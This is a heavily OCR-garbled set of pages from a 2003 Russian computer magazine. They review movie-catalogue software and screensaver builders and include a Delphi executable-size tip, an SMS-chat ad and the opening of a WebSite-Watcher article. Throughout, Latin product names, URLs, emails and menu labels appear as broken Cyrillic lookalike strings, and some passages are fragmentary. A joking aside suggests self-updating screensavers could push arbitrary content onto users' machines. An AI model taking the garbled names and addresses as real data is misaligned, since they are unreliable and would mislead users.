вязывает их описания к конкретному файлу на жестком 
диске или компакте. Так что ты можешь не только узна- 
вать из базы, ЧТО у тебя есть, но и ГДЕ у тебя лежит тот 
или иной фильм. Для этого среди многочисленных по- 
лей, описывающих каждый фильм, имеется и поле "Мет- 
ка диска", в которое ты можешь занести либо путь к 
фильму, хранящемуся на жестком диске, либо обозначе- 
ние видеокассеты, компакта или Б\А)-диска. 




Любая статистика по базе 



После того как ты занес все имеющиеся у тебя в нали- 
чии фильмы, ты можешь в полной мере насладиться 
способностью программы управлять этой информацион- 
ной массой. Расширенный поиск по любому критерию 
позволит тебе за доли секунды найти фильм по актеру, 
продолжительности записи или по комментарию. Для 
наглядного отображения данных очень удобно использо- 
вать группировку записей по каждому из полей. Если ты 
любишь старые советские фильмы или смотришь только 
картины Роберта Земекиса, то поставь группировку по 
стране или по режиссеру соответственно. Думаешь, это 
мелочи? Но поверь мне, когда количество фильмов в 
твоей базе переваливает за сотню, на подобные удобст- 
ва невольно начинаешь обращать особое внимание. 



<Как поделиться с другими> 

Если у тебя накопилась приличная база по фильмам, впол- 
не возможно, что она заинтересует твоих друзей, или, на- 
оборот, может возникнуть ситуация, когда ты сам захочешь 
воспользоваться чужими данными. В Апі Моѵіе Саіаіод сде- 
лать это легче легкого. Достаточно просто перекопировать 
базу к себе на диск и указать программе ее месторасполо- 
жение. Кстати, многие пользователи Апі Моѵіе Саіаіод вы- 
кладывают свои базы для общего доступа в интернете. На- 
пример, на Шр://обоІеІі.рі5епл.пе{ выложен файл с "такти- 
ко-техническими" данными на 1 500 фильмов! 

Также в Ап! Моѵіе Саіаіод'е имеется и отдельный "модуль 
экспорта данных", который наверняка тебе пригодится. До- 
пустим, ты решил выложить каталог имеющихся фильмов 
на свой веб-сайт. Ок! Жмешь "экспорт", выбираешь "НТМІ_" 
и вуаля! - Ап! Моѵіе Саіаіод сама сгенерирует необходимый 
МтІ-код, причем сделает это, в отличие от множества дру- 
гих генераторов МплІ-кода, довольно качественно, без лиш- 
него "мусора". Более того, программа не связывает тебя 
только одним шаблоном МплІ-кода, если ты хоть немного 
знаешь этот язык, то запросто сможешь заставить Апі Моѵіе 
СаУод генерить то, что нужно именно тебе. 



Еще одной весьма полезной функцией модуля экспорта 
является его возможность создавать ЗОЬзапросы. Все 
та же гибкость в настройках, все та же легкость в рабо- 
те, что и в случае с генерацией МплІ. В результате не- 




сложных действий ты получаешь зці-код, после выпол- 
нения которого данные "перекочуют" на ЗОЬсервер. 

Для чего это нужно? Ну, допустим, для создания дина- 
мических веб-сайтов, на которых необходимо организо- 
вать поиск по базе фильмов, сортировку данных и даже 
онлайн-заказ. Обычно информация на таких сайтах хра- 
нится в СУБД, например, ту5С)І_ или ЗуЬазе 5С)І_ Зегѵег, 
а самым простым вариантом синхронизации твоей "до- 
машней" базы фильмов с базой на сайте является имен- 
но синхронизация с помощью зці-скрипта. 

Кроме ИітІ и зці ты можешь также экспортировать свои 
данные в сзѵ-файл. А для создания шорт-листов лучше 
всего подходит функция "Ітаде опіу", результатом рабо- 
ты которой станет галерея уменьшенных фотографий с 
соответствующими подписями. 

Само собой, в Апі Моѵіе Саіаіод'е имеется и модуль "им- 
порт данных", который способен читать данные из сзѵ-фай- 
лов, а также из баз, созданных такими программами, как 
Ріѵх Мападег и ВазеОѴРіѵх. 



< Наглядность превыше всего> 

Никак нельзя обойти вниманием замечательную способ- 
ность программы создавать отчеты. С помощью отчетов 
ты сможешь выводить информацию о фильмах в любой 
удобной для тебя форме. Например, АпІ Моѵіе Саіаіод 
содержит шаблоны для оформления ѴНЗ-кассет, а также 
СБ- и Б\Ю-дисков. Так что, записав фильм на болванку 
или кассету, распечатать необходимую обложку можно 
будет прямо из Апі Моѵіе Саіаіод . 

Понятно, что как ни велик список стандартных шаблонов, 
обязательно приходит время, когда ты захочешь сделать 
что-то свое. И в этом вопросе Ап! Моѵіе Саіаіод не станет 
вставлять тебе палки в колеса, а наоборот, будет усиленно 
помогать. Дело в том, что вместе с самой программой в 
дистрибутив включен и дизайнер отчетов (АМСПероіІ.ехе). 




В заключение скажу еще пару добрых слов в адрес раз- 
работчиков Ап{ Моѵіе Саіаіод. Особо хочется отметить их 
заботу о пользователях, не понимающих по-английски. В 
программе предусмотрено использование перевода ин- 
терфейса на массу самых разнообразных языков, в том 
числе и на русский. И второе: несмотря на всю "наворо- 
ченность" Апі Моѵіе Саіаіод, все ее возможности доступ- 
ны пользователю абсолютно бесплатно, так как програм- 
ма распространяется Тгееѵѵаге. 




БиОнЛайн 




БМБ-чат 

І БМБ-обшение с участниками 
чат-группы, которую 



вы создаете сами. 



5М5-чат - это возможность 
создать и управлять 
тематической чатовой группой, 
выбрать для нее название, 
пригласить своих друзей 
и найти новых. 



Возможности для обшения 
безграничны! 

Ы Сообщение участника 
чат-группы приходит 
всем остальным 
членам группы- 

Для получения подробной 
информации о томі как 
пользоваться услугойі 
отправьте на номер Б84 
Ш-сообщение 
НЕІ.Р СНАТ- 



Специально для начинающих 
пользователей услуги Ш- 
чат создан учебный чат- 
Чтобы начать обучениеі 
отправьте на номер Б84 
Ш-сообщение ІІС- 

^ Исходящие сообщения 
тарифицируются согласно 
выбранному тарифному 
плану в сети Би Дайн 6$И- 

Входящие сообщения - 
бесплатно- 



Ье еоп і іпе ^ 3 

ѵѵѵѵѵѵ.ЬееопІіпе.ги 




с НАМИ УДОБНО 



Юниксоид ^ІХ-Стиль Кодинг |д[ Юниты 



Оиі*> 
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I РС_2опе 



ОРГАНАЙЗЕР ДЛЯ ФИЛЬМОВ 



ф Денис Самарин (с!епзат@уапсІех.ги), 
ф Руфеев Николай (піскигз@оІѵіко.ги) 



Экстремальный конкурент 



еХІгете Моѵіе Мападег Ргоіеззіопаі 
ЕсІШоп 1 .2 (- 7 Мб) 



ѴѴЭх/2 ООО/ХР/ИТ 
ЗИагеѵѵаге 

ЬНр Ьіпагуѵѵогкз . іі/вхігететоѵіетападег 



В любом деле конечной цели можно достигнуть не- 
сколькими путями. И в деле ведения собственной 
фильмотеки есть, по крайней мере, еще один путь - 
программа еХІгепле Моѵіе Мападег. Программа дей- 
ствительно стоящая, поэтому давай рассмотрим ее 
повнимательнее. Первое, что обращает на себя вни- 
мание - это продуманный, интуитивно понятный ин- 
терфейс. Несмотря на обилие информации, которую 
может содержать каждый фильм, ты не теряешься в 
ней. Все четко структурировано. Скажу честно, в Апі 
Моѵіе Саіаіод'е мне приходилось напрягать взгляд в 
поиске нужных иконок, к тому же необходимо какое- 
то время, чтобы их запомнить. В еХІгете Моѵіе 
Мападег'е к каждой кнопке добавлена подпись. 




Меню фильма содержит три закладки: ІМогтаІ, 
МоѵіеСагсІ и ТИитЬпаіІз Ѵіеѵѵ. Для каждого фильма 



г — — — — — — — — — — — — “ 

| предоставлено более 70(!) полей описания, разде- 
| ленных по подгруппам (Моѵіе, Реіаііз, Месііа, 

| 0\Л)/ѴН5, Рііез, Ехіга, Сизіопл). Нет здесь, наверное, 
- только марки видеокамеры, которой снимался 
* фильм, и размера обуви исполнителя главной роли. 
I Далее стоит отметить закладку МоѵіеСагсІ, где ты 
| можешь посмотреть всю информацию в виде кра- 
| сиво оформленной "карточки фильма". Причем 
| внешний вид такой "открытки" можно выбрать по 

I своему вкусу: либо использовать 17 готовых шаб- 
лонов, либо написать свой. "Карточка" выполнена в 
формате Іііті-документа с использованием специ- 
альных переменных для вывода данных о фильме. 
Подобным образом работает и ТІпитЬпаіІз Ѵіеѵѵ. Он 
позволяет, опять-таки в нескольких видах, посмот- 
реть все имеющиеся картинки к фильмам. Точно 
так же реализован просмотр и редактирование спи- 
ска актеров. Соответственно, для каждого актера 
имеется АсІогСагсІ. 

Навигация по фильмам и актерам в еХІгете Моѵіе 
Мападег'е тоже заслуживает всяческих похвал. Отоб- 
ражение и поиск реализованы очень гибко. В отличие 
от Апі Моѵіе Саіаіод'а, параметры поиска и сортиров- 
ки визуально расположены там же, где и сам список 
фильмов, что, на мой взгляд, удобнее и логичнее. 




Модуль обновления данных из интернета 



А как насчет внесения фильмов в базу? В програм- 
ме функция импорта информации из интернета под 
названием МадісВсгірІ Ітроіі Епдіпе реализована 
если и не волшебно, то, во всяком случае, весьма 
добротно. Список скриптов постоянно пополняется 
на официальном сайте программы. "Скачивать ин- 
формацию" можно в двух режимах: МогтаІ Мосіе и 
Сйаіп Мобе. В первом случае все точно так же, как 
и в Апі Моѵіе Саіаіод'е. Перед тобой доовльно вну- 
шительный список скриптов, который можно по- 



полнить на официальном сайте программы. Увы, на 
данный момент существует лишь один скрипт, ра- 
ботающий с русскоязычным сайтом, да и тот, похо- 
же, кривой. С другой стороны, скрипты можно ре- 
дактировать и создавать самому с помощью встро- 
енного редактора. 

Отдельного упоминания заслуживает режим СІпаіп 
Мобе. Ты создаешь сценарий, в который включа- 
ешь имеющиеся скрипты, а также указываешь, ка- 
кую информацию необходимо с их помощью полу- 
чить. Это удобно, если тебе, к примеру, нужно с 
одного сайта скачать постер, с другого кадры из 
фильма, а с третьего все остальное. Есть также об- 
щая настройка импорта информации. В Ітроіі 
Сопіідигаііоп ты выбираешь информацию, которую 
хочешь получить, а в Епдіпе Сопіідигаііоп управля- 
ешь общей работой движка при импорте. Кстати, 
позаботившись об отдельном окне отображения ак- 
теров в программе, разработчики не забыли и о 
пополнении информации о них из интернета. 
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Модуль обновления информации об актерах 



Одним словом, программа - сплошной огромный 
плюс. Но каждый плюс состоит из двух минусов. И 
в еХІгете Моѵіе Мападег их действительно два. 
Главным минусом является все тот же зГіагеѵѵаге, 
что накладывает ограничение на количество филь- 
мов - не больше 50, а также на некоторые допол- 
нительные функции и возможности. И второй - тра- 
диционное отсутствие русского интерфейса. Но 
оказывается, это поправимо. Языковые интерфей- 
сы реализованы в обычных текстовых іпі-файлах. Я 
взял английскую конфигурацию, скопировал под 
именем гиззіап.іпі и перевел некоторые пункты ме- 
ню. Зашел в программу и поменял язык. И что же? 
Получилось! Так что с одним минусом можно спра- 
виться самостоятельно. И это, безусловно, плюс. 



Альтернативный софт 



МоѵіеТгаск ѵЗ.І (-401 Кб) 



ѴѴ9х/2000/ХР/ЫТ 



ИНр://ѵѵѵѵѵѵ. тоѵіеігаск. пеі 




Ёг 



Интерфейс программы МоѵіеТгаск 



Апі Моѵіе Саіаіод - прекрасная программа, однако 
некоторым юзерам работа с ней может показаться 
делом сложным и запутанным. Таким людям я реко- 



мендую обратить внимание на софт попроще. До- 
пустим, на что-то вроде программы МоѵіеТгаск. А 
почему бы и нет?! Указанная софтина требует от 
пользователя лишь указать название, категорию и 
дислокацию фильма, а также сообщить, имеется ли 
данная картина в наличии или пошла по рукам. Ос- 
тальное прога сделает сама, заполнив карточку 
фильма дополнительными сведениями (режиссер, 
краткий комментарий, описание сюжета, жанр, ак- 
теры, язык, продолжительность фильма, год выпус- 
ка) и постером, добытыми из Сети. 

Моѵіе РВ ѵ2.50 (- 2,5 Мб) 



ѴѴ9х/2000/ХР/ЫТ 

ЗНагеѵѵаге 

МНр : //ѵѵѵѵѵѵ. турегзопаІзоНѵѵаге . сот 



Если МоѵіеТгаск кажется тебе слишком простой, а Апі 
Моѵіе Саіаіод - слишком сложной, то советую обра- 
тить внимание на программу Моѵіе йВ. Она представ- 
ляет собой МоѵіеТгаск плюс дополнительные данные 



(формат видео, звуковой дорожки и тип носителя) и 
минус многочисленные настройки Апі Моѵіе Саіаіод'а. 
Также стоит отметить и возможность создания гале- 
реи актеров и кадров из фильма. При выкачивании 
информации по фильму из интернета тебя тоже никто 
не утруждает настройками. Ты лишь нажимаешь кно- 
почку, а программа загружает данные с ІМОВ.сопл. 
Правда есть еще два нюанса: Моѵіе ОВ имеет англий- 
ский интерфейс и она зііагеѵѵаге. А это значит, что без 
регистрации ты не разместишь более 1 5 фильмов. 
Хотя, кто знает, может, тебе больше и не надо? :) 



Внешний вид программы МоѵіейВ 




Ньюсы Террум Іпгігіе 
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Тел: (095) 115-7101 
\Л/еЬ: Шр://ѵѵ\л/ѵѵ.рігі1.сот 



Тел: (095) 799-5398 
ѴѴеЬ: Шр://ѵѵѵѵѵѵ.ІІ 2 агсІ.ги 



Тел: (095) 156-8252 
Факс: (095) 156-1715 



Тел: (095) 728-4060 
ѴУеЬ: ИНр://ѵѵѵѵѵѵ.еІ5і.ги 



Тел: (095) 745-2999 
ѴѴеЬ: Шр://ѵѵѵѵѵѵ.сі1іІіпк.ги 
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ХАКЕР\№3\Март\2003 



<Раае 033> 



КАК ЗАМУТИТЬ собственный скринсейвер 



то рожей 



ЭКРАННЫХ 



Как замутить собственный 

скринсейвер 



Пока » спорил о разными чайниками о тт ~ 

дящие в виртуальное мордобитие - ушлые ребя а» - спросом. За свою продукцию ловкие «разра- 

очень сложные ааотааки, которые пользовались в Со™ большим опросом^ ^ ^ о ^ се6 „ 

ботчики», естественно, просили денег, *отл пр А разных кусочков с помощью специального соф- 

Г Ф Об М :тГГ^е Л =;" концов, должен же ты знать о том, как легко некс 

торым в Сети удается заработать на кусок хлеб с маслом. и ^ 



Современные программы для создания заставок мо- 
гут кормиться практически любым сырьем: обычной 
графикой в виде фоток и рисунков, флеш-анимаци- 
ей, видеофайлами и ЗО-объектами. Что-либо из пе- 
речисленного у тебя наверняка имеется. Да и польза 
от знакомства с подобного рода софтом очевидна: 
во-первых, созданный тобой скринсейвер можно 



Рожег Зсгеепзаѵег 
Виіісіег Рго (-3 Мб) 



ѴѴіпсІоѵѵз 9х/МТ/МЕ/2000/ХР 
ЗИагеѵѵаге 

НИр : //тм.еі'і гезоГС. сот 

Одна из лучших программ для создания скринсейверов - 
разработка компании Ейгезой.сопл Іпс. Из набора гра- 
фических файлов эта прога формирует заставку с чере- 
дующимися кадрами, для которых предусмотрено более 
110 эффектов перехода. Поддерживаются все популяр- 
ные графические форматы, а для фонового звука ис- 
пользуются музыкальные файлы МРЗ, ѴѴАѴ и МЮ. Раз- 
работка «хранителя экрана» в Роѵѵег Зсгеепзаѵег Виіісіег 
представляет собой знакомый тебе бгад-п-сігор: нахо- 
дишь нужные объекты и загоняешь их в окно проекта, 
причем, для каждого элемента имеется опция предва- 
рительного просмотра/прослушивания. Софтина дружит 
с кириллицей: во время тестирования я написал крат- 
кий АЬоиІ на русском языке, и он волне корректно отоб- 
разился в свойствах заставки (правда, название скрин- 
сейвера все-таки пришлось вбивать латиницей). 
Несмотря на небольшой объем в программе заложена 
масса настроек для каждого элемента (Мебіа-АсІсІ- 
Ргореіііез). Хочешь - добавляй текстовое сопровожде- 
ние для каждого кадра или выбирай всю сотню эффек- 
тов перехода между кадрами, а можешь убрать их вовсе 
(только зачем?). 



оформить в виде полноценного инсталлятора, что са- 
мо по себе повысит твой авторитет в глазах знако- 
мых. Во-вторых, порой не мешает чуток прогнуться 
перед начальством, предложив шефу свое творение 
в виде корпоративной заставки - почет, уважение и 
прибавка к зарплате. В-третьих, если ты имеешь 



врожденную склонность к садизму и страдаешь ма 



По умолчанию заставка исчезает при движении мыши, 
однако если в качестве исходного материала выступает 
интерактивный флеш-ролик, то Роѵѵег Зсгеепзаѵег 
Виіісіег может сделать так, чтобы во время работы 
скринсейвера на экране был виден курсор. В этом слу- 
чае завершение работы «хранителя экрана» будет про- 
исходить лишь при нажатии на апу кеу. В проект можно 
забросить в любой последовательности и фотографии, 
и флеш-ролики, и видеофайлы. Задал время показа для 
каждого элемента - и наслаждайся. При компиляции 
программа сама все зашьет в один файл. 

Обрати особое внимание на вкладку Зейіпд. Почти у 
каждой заставки в «Параметрах» есть инфа о разработ- 
чике, копирайте и т.п. Однако тексты текстами, а вот 
как насчет того, чтобы разместить по указанному адре- 
су еще и свой рекламный баннер, а? 



ниеи величия, всегда можно взять да и выпустить 
свой продукт в виде зИагеѵѵаге, дабы устроить пол- 
ный облом халявщикам с перспективой (пустъ и ту- 
манной) неиссякаемого притока звонких монет. Ну 
что, я тебя убедил? Тогда двигаем дальше. 



Для полного счастья будущих почитателей сделай свою 
заставку шароварной - будет демонстрироваться или 
одна картинка, или все кадры, но ограниченное время. 

В проге имеется генератор серийников (Тооіз- 
Ведізігайоп кеу депегаіог), который сварганит тебе лю- 
бое количество ключей. 

Выходной продукт может быть в четырех вариантах: 
обычный скринсейвер, автономный экзешник для слайд- 
шоу, инсталлятор этого экзешника и полноценный «хра- 
нитель экрана» с солидной программой установки. 



Ньюсы Террум Іпгігіе 
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1 $1 Зсгеепзаѵег РІазИ 
Зіисііо Рго+ (2,5 Мб) 

ѴѴіпсІоѵѵз 9х/МТ/МЕ/2000/ХР 
ЗИагеѵѵаге 

МПр://ѵѵѵѵѵѵ.зМаге2.сот/1 зі 



А что это ты так посмурнел? Тебя не прикалывают 
скринсейверы из фоток? Понятно - ты признаешь толь- 
ко ПазИ, а раз так - то специально для тебя я нашел 
прогу, которая компилирует заставки исключительно из 
флеш-роликов. 

С работой никаких сложностей - все делается при по- 
мощи двух кнопок: РІазИ и Оиіриі Сначала выбираешь 
нужное количество *5ѴѴР-файлов, которые можно рас- 
полагать в различной последовательности, причем для 
удобства имеется окно Ргеѵіеѵѵ. Затем вводишь назва- 
ние проекта и свои данные - в Ы Зсгеепзаѵег РІазИ 
Зіисііо Рго ты найдешь полную поддержку кириллицы 
для всех надписей (даже в окне инсталлятора). 

Чтобы не лохануться с полем Резсгірйоп оТ зсгееп заѵег, 
сразу уясни, что весь АЬоиІ, который ты в муках ро- 
дишь, будет являться глазу в виде текстового файла 
«Веабте», который по умолчанию открывается после 
окончания установки скринсейвера. 

Толковым перцам свой «хранитель экрана» можно прос- 
то подарить (Ргееѵѵаге), для всех остальных смело при- 
думывай пароль и задавай количество дней халявного 
показа - пусть птичка Обломинго живет и здравствует. 
Обязательно посмотри опцию показа курсора и опреде- 




лись, каким образом твоя заставка будет закрываться - 
по умолчанию предлагается выход при движении шари- 
кового/оптического грызуна. ІМНО, хватит и нажатия 
какой-либо клавиши. Готовый файл инсталлятора (ник- 
то не запрещает сделать и обычный *5СВ-файл) сохра- 
няется в папке Х:\Ргодгаш 

РіІез\І5І51исІіо\РІа5ІіРгоРІи5\ОиІриІ и никакого другого 
места признавать не хочет. Зато экзешник имеет гор- 
дое имя Зеіир.ехе и стандартный значок ехе-файла: 
строго и солидно. В свойствах заставки откроется при- 
ятное окно с твоими данными и копирайтом, там же 
разместятся кнопки Редізіег и РигзИазе, хе-хе... 





Ну ладно, пора и серьезными вещами заняться - пе- 
рейти к созданию скринсейверов с трехмерными 
объектами. Здесь все сводится к тому, чтобы загнать 
в окно проекта один из многочисленных програм- 
мных шаблонов или одну из моделей ЗР Зіисііо (305) 

- если дружишь с этим монстром, то флаг тебе в ру- 
ки и окно импорта в придачу. Если 30 Зіисііо тебе не 
дается, не печалься - массу трехмерных моделей мо- 
жешь надергать из Сети (ш/ѵѵ.ЗбсаТе.сош, 
ѵѵш/.тахѵѵѵѵ.сот, Ьйр://ш.те{аЗсІ.сот/рг и т.д.) 

Далее на импортированную модельку ты натягиваешь 
какую-нибудь текстуру, выбираешь фон и задаешь 
маршрут полетов этой модели по экрану компа. Об- 
рати внимание, что в качестве текстуры и фона раз- 
решается использовать абсолютно любые изображе- 
ния в форматах ВМР, ОІР или ЗРО. В принципе, после 
совершения указанных манипуляций тебе остается 
лишь выбрать музыкальное сопровождение (МРЗ, ѴѴАѴ 
или МЮІ-файл) и вписать в пустые графы информа- 
цию о разработчике :). Хе-хе, опять облом для халяв- 
щиков - прога сгенерит для тебя два вида ключей. 
Можешь задать срок показа в днях, а также интервал 
времени, через который на экране будет появляться 
предупреждение о необходимости регистрации. 

При генерации 5СВ-файла, а еще лучше - полноцен- 
ного продукта с инсталлятором (на движке Іппо 
ЗеЫір) не забудь выбрать, в каком режиме цветности 
будет создан скринсейвер - 8-битном или 24-битном. 
После этого можешь смело выкладывать свою зас- 
тавку в Сеть и ждать, когда вынырнет хакерская рука 
коллеги и по-дружески вскроет твой шедевр. 
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Если ты программируешь на ОеІрЬі, то, наверное, знаешь, 
что даже самая простая прога весит немало. Конечно, 
можно прогу сжать ІІРХ'ом, но это не очень эффективно. 
Я нашел способ лучше. Запусти ОеІрЫ, зайди в Рго]есі -> 
Орііопз и выбери закладку Раскадез. После чего ставь га- 
лочку над ВиіІсІ ѵѵіШ гипііте раскадез и жми ОК. Компили- 
руй проект и получай размер 14.5 КЬ (это если на форму 
ничего не кидать), но полученною прогу можно сжать ІІРХ 
или чем-нибудь другим. В результате - 7.5 КЬ. 

Кстати! То же самое можно сделать, если покопаться с 
файлом *.сіоТ Теперь твое западло не будет занимать 
полдискеты ;-). 

зроіпі 

5роіпІ5оП@таіІ.ги 



Юниксоид Х-Стиль шІКодинг 
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КАК ЗАМУТИТЬ СОБСТВЕННЫЙ СКРИНСЕЙВЕР 



Ф Ог.І_ес1ег-іг (Іес(ег@Ііз1.ги) 



Іпіегпеі ЗсгеепЗаѵег 
Виіісіег 4.5 (- 2,5 Мб) 



ѴѴіпсІоѵѵз Эх/ЫТ /М Е/2000/ХР 
ЗИагеѵѵаге 

МНр://ѵѵѵѵѵѵ.хетісотриіег8.сот 

И снова вернемся к программам, с помощью которых 
можно скомпилировать свой собственный «хранитель 
экрана» из любого набора медиа-файлов: картинок, 
текста, флеш-анимации, видео (АѴІ) и звука (МРЗ, 
ѴѴАѴ). У нас на очереди - Іпіегпеі ЗсгеепЗаѵег Виіісіег. 
Это обычный конструктор со стандартным набором 
функций, который позволяет мастерить не совсем 




Эта прога скринсейверы делать не умеет, она 
занимается тем, что во время установки 
прописывается в системе, изменяя вид 
стандартной вкладки Заставка в окне Свойства: 
Экран. После этого СІіаоііс СПапсе Зсгеепзаѵег 
берет на себя контроль над установленными в 
системе «хранителями». Если надоела одна из 
заставок, ее можно просто отключить, или 
наоборот - включить понравившуюся (по 
умолчанию включены все имеющиеся 
скринсейверы). Для полного счастья прога 
предлагает на выбор крутить каждый день новую 
заставку, либо показывать всю коллекцию по 
кругу или в произвольном порядке. Прога из 
разряда мелких, но очень приятных полезняшек. 




т 



обычные скринсейверы - скринсейверы, которые умеют 
обновляться через интернет! 

«Хранители экрана», сделанные в этой проге, время от 
времени проверяют заданный тобой ресурс на наличие 
изменений (появление новых изображений, изменение 
в сценарии, появление свежей заставки...). Если изме- 
нения обнаружены, они автоматически грузят апдейт. 
Выкладывать обновления и новые версии можно прямо 
из Іпіегпеі ЗсгеепЗаѵег Виіісіег. 

Софт действительно прикольный - с его помощью ты 
можешь организовать нечто вроде сетевого вещания и 
показывать пользователям то, что тебе захочется. Так 
можно делиться с народом свежими картинками, муль- 
тиками, заливать на их машину что угодно... Черт, тут 
есть над чем подумать, верно? Вот и подумай! Но - 
позже. А сейчас (на закуску) подается универсальная, 
мощная и очень даже продвинутая... нет, не прога, а, я 
бы сказал, программища, умеющая практически все 
(ну, или почти все): 



Ахіаііз РгоТеззіопаІ Зсгееп Заѵег 
Ргосіисег 3.5 (6,3 Мб) 

ѴѴіпсІоѵѵз Эх/ИТ/М Е/2000/ХР 
ЗИагеѵѵаге 

ИНр://ѵѵѵѵѵѵ. ахіаііз. сот 

О такой софтине надо писать отдельную книжку страниц 
на сто минимум. Но я расскажу самое важное. 
«Хранители экрана», конструируемые в Ахіаііз 




РгоТеззіопаІ Зсгееп Заѵег Ргосіисег, могут включать в се- 
бя графику (ЭРЕСІ, РИО, еіс., а также анимированный 
СІЕ), видеоклипы разных форматов и флеш-ролики. Но 
прежде чем пихать в заставку что-то свое, не забудь 
изучить панель иЬгагіап - во встроенных библиотеках 
софтины заложено довольно много приличных сэмплов 
(картинок, анимашек, звуковых файлов и флешек). 

Программные настройки позволяют задать параметры 
просмотра твоего будущего «сооі ргосіисі», а также уда- 
лять временные файлы, которые остались от предыду- 



щих работ. 

При старте прога предложит тебе выбор - замутить 
слайд-шоу, флеш -заставку, анимированные рисунки на 
статичном фоне или нечто иное. При создании нового 
проекта откроется то же окно. В любом случае попро- 
буй кликнуть кнопку №ѵѵ Зрігііз, под которой скрывают- 
ся программные заготовки (разрешается использовать 
и свои собственные шаблоны). 

При создании заставки из анимированных гифов (в 
этом и есть изюминка программы), каждый графичес- 
кий объект выделяется правой кнопкой, после чего в 
контекстном меню выбирается команда Ргореіііез, и вот 
здесь начинается раздолье в виде семи вкладок. Для 
каждого рисунка без проблем задается прозрачный 
участок с регулировкой степени прозрачности, скорость 
анимации и звуковое сопровождение по событию, рас- 
положение на экране и масса других наворотов. 

Про разработку обычного слайд-шоу я даже говорить не 
буду, ты и сам без труда разберешься. Скажу лишь, что 
к фоткам можно добавить видеоклип. Аналогичные гиб- 
ридные заставки могут получиться и в результате скре- 
щивания других классических разновидностей «храните- 
лей экрана». Для каждого проекта в программе предус- 
мотрен ввод твоих ФИО, ника и прочих анкетных дан- 
ных для отображения в окне свойств заставки. Конеч- 
ный продукт получается или в виде обычного *5СВ-ин- 
сейвера, или в виде экзешника, причем на выбор пред- 
лагаются языковые варианты файла: английский, не- 
мецкий и, вуаля, французский. Если ты решил твердо 
встать на путь истинный, не поленись и сочини «Лицен- 
зионное соглашение» для инсталлятора - кириллица чи- 
тается без проблем. 

Вот только запаролить заставку тебе, увы, не дадут - 
добрые они, эти разработчики. 



Помимо обычных скринсейверов, которые зачастую оказываются нудными коммер- 
ческими продуктами, существуют и довольно специфические заставки, которые, тем 
не менее, выглядят весьма профессионально, если не сказать больше. Хорошим 
примером такой вот необычной заставки может служить ЬіоЗаѵег 
(ѵѵѵѵѵѵ. ЬіоѵігіиаІ . сот/Ьіозаѵег ) . Во время простоя компьютера он выводит на экран 
трехмерное изображение головы, вещающей о том, что мир прекрасен (в чем, кста- 
ти, я лично весьма сомневаюсь). Но главная фишка ЬіоЗаѵег заключается в том, что 
программа позволяет тебе подключать и показывать другие «головы» - файлы с рас- 
ширением ВІО. Эти файлы являются результатом жизнедеятельности программы 
ЗОтеИоѵѵ, одной из разновидностей софта для ЗО-моделирования. Если ты читал в 
прошлогоднем 12-м номере «Хакера» материал «Посмотри, кто говорит!», то уже 
знаешь, как легко в ЗОтеМош можно создать на основе фотографии, скажем, себя, 
любимого, трехмерную модель своей светлой головы, а затем научить эту модель 
говорить и корчить рожи. О том, какой прикольный «хранитель экрана» можно полу- 
чить, умело воспользовавшись этими двумя прогами, я думаю, ты догадываешься. 




Ньюсы Террум Іпгігіе 
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персональный осведомитель 



и/лтпн рр і 



Щ А.Р.$ІазН (ар-5Іа5И@Йз.кіеѵ.иа) 



Что нового у Р05І? Над какими 
хомяками рыдает Эксяер? 
Скольких переводчиков растоп- 
тал СоЫіп? Стой! Совсем не 
обязательно мотаться по 
сайтам, в поте лица со- 
бирая драгоценную 
информацию. Огра- 
ничение на трафик, 
повременка, дневные 
тарифы, карточки... В 
таком нездоровом 
режиме любые де- 
нежные мешки оста- 
ются исключительно 
под глазами. Тебе 
нужна информация 
без побочных эф- 
фектов? Да на 
здоровье. 

ѴѴеЬЗйе-ѴѴаісНег 
(далее - Ѵ\Ш) - 
вот наш руле- 1 
вой. 



персональный 

ОСВЕДОМИТЕЛЬ 



<Теория> 



Воистину, информация правит миром. Один мой сокурс- 
ник считает эту фразу своим безоговорочным девизом. 
"Вчера ночью в Бортничах... По непроверенным данным... 
Размер имеет значение..." Да имеет размер ваше значе- 
ние! Как не потеряться в этой каше полезного трепа? 
Ежедневно возникает непреодолимое желание поиметь 
этакий наборчик маленьких чудес для больших лентяев. 



нель инструментов. А кому нужна кофемолка, на которой 
двенадцать рубильников? Впрочем, первое впечатление 
обманчиво. Будут и лампочки, будут и рубильники. Что 
нам понадобится для эффектного старта? Набор закла- 
док. Соответственно, заполняем дерево папок. Основ- 
ной плюс ѴѴ5ѴѴ в том, что у рабочего человека пальцы не 
устают - меньше набирать приходится. Выбираешь в 
меню "Ішроіі | Іт/Ехроіі (ОгадШор)" и растаскиваешь 
свою коллекцию по соответствующим папкам. 
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Фронтальная проекция 



Удобный просмотр, серьезный поиск, компактное хране- 
ние результатов. Для домашних любимцев наподобие 
Мо№Ме (ш/ѵѵ.ппш.ги) и КрИето (ш/ѵѵ.крпето.ги) жела- 
тельно также вести архив. И поменьше рутины, поболь- 
ше автоматики. У сонного интернетчика должно хватать 
энергии на кофе и мышку. Не зевай, забирай - 
ЬКр ://аід пез . сот/бош ІоасІ/ѵѵзѵѵзеШ р . ехе . 



<Первые шаги> 



Все очень просто. Главное окно программы разделено 
на две части. В левой - дерево папок с твоими закладка- 
ми. В правой - собственно говоря, закладки. Меню и па- 



Растаскиваем коллекцию 



Туг тебе и Опера, и Нетшкаф, и Плорер. Даже про тексто- 
вый файл со ссылками не забыли. Мало? Выбирай 
"Вооктагкз | №ѵѵ Вооктагк..." и работай клавишами. В 
любом случае тебе со временем понадобится эта команда. 
Если ты собираешься следить за обновлениями ленты 
новостей, ссылка на которую формируется из текущей 
даты, обрати внимание на дополнительную кнопку с 
многоточием справа от поля "ІЖ". В адрес необходи- 
мой страницы можно добавить макросы, которые про- 
грамма в процессе проверки заменит сегодняшним чис- 
лом, днем и месяцем. Поле "Мате" (Имя) можно не за- 
полнять - Ѵ\Ш сделает это самостоятельно, как только 
получит из сети первую копию страницы. 



Новая закладка 



Закладки проверяются по их содержимому (Ьу сопіепі), 
по дате создания (Ьу ТМе баіе) и по размеру (Ьу ТМе зіге). 
Если вебмастер нетрезвой походкой шагает в ногу со 
временем, то на его сайте указаны текущая дата или 
счетчик посещений, на верхотуре - "Епіагде уоиг Іеппіз", 
а в исходнике <В> приходит на смену <5МАІ_І_> и ала- 
верды. При этом содержимое страницы постоянно меня- 
ется, ѴѴ5ѴѴ тормошит своего хозяина за все торчащие 
конечности, тот бежит на сайт... А смысл? Параметры 
секции "РіКег ѵѵЬеп сЬескіпд ѵѵеЬзііез Тог сЬапдез" (Филь- 
